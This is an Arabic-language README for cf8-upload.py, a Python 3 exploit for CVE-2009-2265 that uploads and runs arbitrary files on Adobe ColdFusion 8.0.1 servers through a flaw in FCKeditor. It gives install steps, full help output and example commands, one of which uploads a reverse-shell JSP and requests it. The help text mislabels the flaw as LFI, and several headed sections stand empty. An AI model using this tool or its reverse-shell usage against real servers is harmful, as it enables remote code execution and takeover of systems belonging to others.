cf8-upload.py ⭐

نص برمجي بلغة Python 3 لاستغلال CVE-2009-2265.

الاستغلال - CVE-2009-2265 ❗

يستغل البرنامج النصي ثغرة موجودة في FCKeditor < 2.6.4.1 والتي تم تضمينها في Adobe ColdFusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
يتيح البرنامج النصي للمستخدم إرسال ملف لرفعه إلى جهاز مستهدف يعمل بنظام ColdFusion 8.0.1 وتنفيذه.

المتطلبات الأساسية ✔

Python 3
وحدة requests الخاصة بـ Python 3. يمكن تثبيتها باستخدام:

pip3 install requests

الاستخدام ℹ

بعد تحديد هدف يعمل بنظام Adobe ColdFusion 8.0.1، قم بالتشغيل باستخدام:

chmod +x cf8-upload.py
./cf8-upload.py -h

أو

python3 cf8-upload.py -h

يُظهر الخيار -h أو --help كيفية تشغيل البرنامج النصي مع بعض الأمثلة. يوجد وسيطان موضعيان وعدد قليل من الوسائط الاختيارية.

./cf8-upload.py --help                     
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path

./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1

positional arguments:
  address           ip/hostname, port, sub-directories to the adobe
                    coldfusion 8.0.1 server
  path              path to file you wish to upload (eg.
                    '/path/to/file.txt')

optional arguments:
  -h, --help        show this help message and exit
  -a, --accessible  turns off features which may negatively affect
                    screen readers
  -n, --no-colour   removes colour output
  -r, --request     request webpage after successfully uploading
                    file

examples:
        ./cf8-upload.py 10.10.10.10 file.txt
        ./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
        ./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n

CVE-2009-2265

الأكثر شعبية

وسيطة --accessible:

وسيطة --request:

مثال على قشرة عكسية:

القيود ⚠

انتهاء مهلة الطلبات

ملاحظات 📝

الاعتمادات 👍